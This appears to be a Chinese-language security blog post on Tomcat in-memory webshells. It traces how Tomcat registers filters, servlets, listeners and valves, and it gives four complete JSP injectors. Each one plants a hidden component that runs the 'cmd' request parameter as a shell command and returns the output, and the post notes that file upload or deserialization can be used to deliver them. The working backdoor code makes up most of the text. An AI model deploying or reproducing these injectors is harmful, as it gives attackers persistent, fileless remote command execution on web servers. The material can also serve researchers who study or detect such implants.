1. 程式人生 > 其它 >tomcat記憶體馬原理解析及實現

tomcat記憶體馬原理解析及實現

記憶體馬


簡介

​ Webshell記憶體馬,是在記憶體中寫入惡意後門和木馬並執行,達到遠端控制Web伺服器的一類記憶體馬,其瞄準了企業的對外視窗:網站、應用。但傳統的Webshell都是基於檔案型別的,黑客可以利用上傳工具或網站漏洞植入木馬,區別在於Webshell記憶體馬是無檔案馬,利用中介軟體的程序執行某些惡意程式碼,不會有檔案落地,給檢測帶來巨大難度。

型別

​ 目前分為三種:

  1. Servlet-API型
    通過命令執行等方式動態註冊一個新的listener、filter或者servlet,從而實現命令執行等功能。特定框架、容器的記憶體馬原理與此類似,如tomcat的valve記憶體馬

    • filter型
    • servlet型
    • listener型
  2. 位元組碼增強型

    通過java的instrumentation動態修改已有程式碼,進而實現命令執行等功能。

  3. spring類

    • 攔截器
    • Controller型

基礎知識

JAVA web 三大件

一文看懂記憶體馬 - FreeBuf網路安全行業門戶

Tomcat基本架構

6. 站在巨人的肩膀學習Java Filter型記憶體馬 - bmjoker - 部落格園 (cnblogs.com)

Tomcat 中有 4 類容器元件,從上至下依次是:

  1. Engine,實現類為 org.apache.catalina.core.StandardEngine
  2. Host,實現類為 org.apache.catalina.core.StandardHost
  3. Context,實現類為 org.apache.catalina.core.StandardContext
  4. Wrapper,實現類為 org.apache.catalina.core.StandardWrapper

“從上至下” 的意思是,它們之間是存在父子關係的。

  • Engine:最頂層容器元件,其下可以包含多個 Host。
  • Host:一個 Host 代表一個虛擬主機,其下可以包含多個 Context。
  • Context:一個 Context 代表一個 Web 應用,其下可以包含多個 Wrapper。
  • Wrapper:一個 Wrapper 代表一個 Servlet。

0x01 Tomcat filter型記憶體馬

​ 所謂filter記憶體馬,就是在web容器中建立了含有惡意程式碼的filter,在請求傳遞到servlet前被攔截下來且執行了惡意程式碼。因此,我們需要了解filter的建立流程。

​ 由於是tomcat進行建立,因此需要閱讀tomcat原始碼。在pom.xml中新增如下依賴,然後reload maven即可除錯tomcat原始碼

 <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.52</version>
            <scope>provided</scope>
        </dependency>

在filter的init函式下斷點,看一下呼叫鏈,發現是StandardContext處的filterStart方法呼叫了filter相關方法。

在呼叫filterStart方法

這裡我們可以發現主要是通過將filterDef這個引數傳入ApplicationFilterConfig來實現建立filter。而後將其加入filterConfigs。

接下來再看一下呼叫filterChain.doFilter(servletRequest,servletResponse);的呼叫棧

可以發現filterchain在這裡建立。

    ApplicationFilterChain filterChain =
            ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

看一下它的具體程式碼

    for (FilterMap filterMap : filterMaps) {//遍歷filterMaps
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersURL(filterMap, requestPath)) {
            continue;
        }
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)//將filterMaps中的配置例項化為FilterConfig
                context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);//在filterChain中新增filterConfig
    }

filterMaps是web.xml的filter相關配置

如上所述,我們實現filter型記憶體馬要經過如下步驟:(這裡原本的filterDef與filterMaps都是通過web.xml解析而來)

  • 建立惡意filter類
  • 構造相應的filterDef
  • 通過將filterDef這個引數傳入ApplicationFilterConfig來實現建立filter。而後將其加入filterConfigs。
  • 建立一個相應的filterMaps,且將惡意filter放在最前。

具體實現方法:

由於filter的init在應用建立時完成,因此要進行filter記憶體馬的注入,需要在filterChain.doFilter前把相應的filter配置注入。

可以利用任意檔案上傳來執行jsp指令碼實現,也可以嘗試反序列化進行程式碼執行。

【安全記錄】基於Tomcat的Java記憶體馬初探 - 簡書 (jianshu.com)

//只適用於tomcat8,tomcat7的import包不同
<%--
  Created by IntelliJ IDEA.
  User: win7_wushiying
  Date: 2021/10/24
  Time: 19:03
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>


<%
    final String name = "shell";
    // 獲取上下文,即standardContext
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
	//獲取上下文中 filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
	//建立惡意filter
    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };
		//建立對應的FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 將filterDef新增到filterDefs中
         */
        standardContext.addFilterDef(filterDef);
		//建立對應的FilterMap,並將其放在最前
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);
		//呼叫反射方法,去建立filterConfig例項
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
		//將filterConfig存入filterConfigs,等待filterchain.dofilter的呼叫
        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

獲取standard上下文,使用以下方法獲取servletContext,而後呼叫反射機制獲取StandardContext

request.getSession().getServletContext();

0x02 Tomcat servlet型記憶體馬

servlet型的記憶體馬原理就是註冊一個惡意的servlet,與filter相似,只是建立過程不同。

核心還是看StandardContext

在init filter後就呼叫了loadOnStartup方法例項化servlet

可以發現servlet的相關資訊是儲存在StandardContext的children欄位。

根據以下程式碼可知,只要在children欄位新增相應的servlet,loadOnStartup就能夠完成init。

public boolean loadOnStartup(Container children[]) {

    // Collect "load on startup" servlets that need to be initialized
    TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
    for (Container child : children) {
        Wrapper wrapper = (Wrapper) child;
        int loadOnStartup = wrapper.getLoadOnStartup();
        if (loadOnStartup < 0) {
            continue;
        }
        Integer key = Integer.valueOf(loadOnStartup);
        ArrayList<Wrapper> list = map.get(key);
        if (list == null) {
            list = new ArrayList<>();
            map.put(key, list);
        }
        list.add(wrapper);
    }

    // Load the collected "load on startup" servlets
    for (ArrayList<Wrapper> list : map.values()) {
        for (Wrapper wrapper : list) {
            try {
                wrapper.load();
            } catch (ServletException e) {
                getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
                      getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
                // NOTE: load errors (including a servlet that throws
                // UnavailableException from the init() method) are NOT
                // fatal to application startup
                // unless failCtxIfServletStartFails="true" is specified
                if(getComputedFailCtxIfServletStartFails()) {
                    return false;
                }
            }
        }
    }
    return true;

}

接下去就要尋找如何新增惡意wrapper至children,找到addchild方法,說明了child需要為wrapper例項

  public void addChild(Container child) {   
// Global JspServlet
    Wrapper oldJspServlet = null;

    if (!(child instanceof Wrapper)) {//這裡說明了child需要為wrapper例項
        throw new IllegalArgumentException
            (sm.getString("standardContext.notWrapper"));
    }
    ...
  }

尋找建立wrapper例項的程式碼,發現createWrapper方法

這樣建立惡意servlet流程就清楚了

  • 建立惡意的servlet例項
  • 獲取standardContext例項
  • 呼叫createWrapper方法並設定相應引數
  • 呼叫addchild函式
  • 為了將servlet與相應url繫結,呼叫addServletMappingDecoded方法

具體實現

<%--
  Created by IntelliJ IDEA.
  User: win7_wushiying
  Date: 2021/10/25
  Time: 14:45
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
    final String name = "servletshell";
    // 獲取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner( in ).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };

    org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    standardContext.addChild(newWrapper);
    standardContext.addServletMappingDecoded("/shell123",name);

%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

0x03 Tomcat listener型記憶體馬

listener用於監聽時間的發生或狀態的改變,其初始化與呼叫順序在filter之前,

Tomcat使用兩類Listener介面分別是org.apache.catalina.LifecycleListener和原生Java.util.EventListener

一般作為webshell,需要對網站傳送請求使用Java.util.EventListener。

(31條訊息) Listener(監聽器)的簡單介紹_LrvingTc的部落格-CSDN部落格_listener

從上述連線可知,listener選擇很多。我們選擇與request相關的ServletRequestListener。

ServletRequest域物件的生命週期:
建立:訪問伺服器任何資源都會發送請求(ServletRequest)出現,訪問.html和.jsp和.servlet都會建立請求。
銷燬:伺服器已經對該次請求做出了響應。

		@WebListener
		public class MyServletRequestListener implements ServletRequestListener{
		@Override
		public void requestDestroyed(ServletRequestEvent arg0) {
			System.out.println("ServletRequest銷燬了");
		}
	
		@Override
		public void requestInitialized(ServletRequestEvent arg0) {
			System.out.println("ServletRequest建立了");
		}
	
	}

來看一下StandardContext的listenerStart()方法。主要是獲取ApplicationListeners來實現Listener的初始化與裝載。

public boolean listenerStart() {

        if (log.isDebugEnabled()) {
            log.debug("Configuring application event listeners");
        }

        // Instantiate the required listeners
        String listeners[] = findApplicationListeners();
        Object results[] = new Object[listeners.length];
        boolean ok = true;
        for (int i = 0; i < results.length; i++) {
            if (getLogger().isDebugEnabled()) {
                getLogger().debug(" Configuring event listener class '" +
                    listeners[i] + "'");
            }
            try {
                String listener = listeners[i];
                results[i] = getInstanceManager().newInstance(listener);
            } catch (Throwable t) {
                t = ExceptionUtils.unwrapInvocationTargetException(t);
                ExceptionUtils.handleThrowable(t);
                getLogger().error(sm.getString(
                        "standardContext.applicationListener", listeners[i]), t);
                ok = false;
            }
        }
        ...
}

由此,我們可以通過設定StandardContext的ApplicationListeners欄位,實現listener記憶體馬的注入。

StandardContext有addApplicationListener方法。

具體流程

  • 建立惡意listener
  • 獲取StandardContext
  • StandardContext.addApplicationListener(listener) 新增listener
 <%--
  Created by IntelliJ IDEA.
  User: win7_wushiying
  Date: 2021/10/25
  Time: 14:45
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "servletshell";
    // 獲取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    ServletRequestListener listener = new ServletRequestListener() {
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    PrintWriter out= request.getResponse().getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre) {

        }
    };
    standardContext.addApplicationEventListener(listener);



%>
<html>
<head>
    <title>Title</title>
</head>
<body>
inject listener success!
</body>
</html>


0x04 Valve記憶體馬

Tomcat容器攻防筆記之Valve記憶體馬出世 (qq.com)

tomcat架構分析(valve機制) - 南極山 - 部落格園 (cnblogs.com)

在四大容器中,容器之間request的傳遞是由pipeline串連起來的,而其中的標準valve則儲存了invoke方法,實現了具體的邏輯。

如圖,是四大容器的標準valve,傳遞request的流程。

Context中pipeline流程的程式碼:

context.getPipeline().getFirst().invoke(request, response);//獲取context的Pipeline,獲取其第一個valve,呼叫invoke方法。

這樣的話,我們可以嘗試自己建立惡意valve,重寫其invoke方法,新增到四大容器中的pipeline。在傳送request時,就能夠對其進行操作,執行java程式碼。

在Pipeline類中找到方法addValve,可以新增valve。

<%--
  Created by IntelliJ IDEA.
  User: win7_wushiying
  Date: 2021/10/24
  Time: 19:03
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%!
    public final class myvalve implements Valve{

        @Override
        public Valve getNext() {
            return null;
        }

        @Override
        public void setNext(Valve valve) {

        }

        @Override
        public void backgroundProcess() {

        }

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) request;
            if (req.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner( in ).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                return;
            }
        }

        @Override
        public boolean isAsyncSupported() {
            return false;
        }
    }
%>

<%
    final String name = "shell";
    // 獲取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

   myvalve myvalve = new myvalve();
   standardContext.getPipeline().addValve(myvalve);

%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>